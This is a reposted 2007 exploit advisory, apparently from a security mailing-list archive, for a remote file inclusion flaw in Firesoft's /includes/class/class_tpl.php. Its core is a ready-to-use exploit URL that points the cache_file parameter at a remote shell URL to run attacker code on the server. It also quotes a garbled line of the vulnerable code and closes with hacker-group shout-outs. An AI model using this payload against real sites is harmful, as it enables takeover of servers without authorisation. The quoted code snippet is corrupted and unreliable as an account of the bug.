Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Ripe Website Manager SQL Injection and Cross Site Scripting Vulnerabilities

Dalai Forum Remote File Inclusion Exploit

Joomla Component SimpleFAQ V2.11 - Remote SQL Injection

From:	system-errrror_(at)_hotmail.com <system-errrror_(at)_hotmail.com>
Date:	22.08.2007
Subject:	Firesoft Remote File Inclusion

#================================================================================
==============
# Firesoft Remote File Inclusion
#================================================================================
===============
#DORK : n0t d0rk
#
#================================================================================
================
#Bug in :     /includes/class/class_tpl.php
#
#Vlu Code :
#--------------------------------
#
#         include(['cache_file'])
#
#================================================================================
================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/path/includes/class/class_tpl.php?cache_file=http:
//SHELLURL?
#
#================================================================================
================
#Discoverd By :Darkdewil[system-errrror]
#
#Conatact : system-errrror[at]hotmail[dot]com
#
#Thx To :Cazanova & fedaiturk & n3twork & codes & Sevecen
#
#  sPECial THanks to :1923turk - grup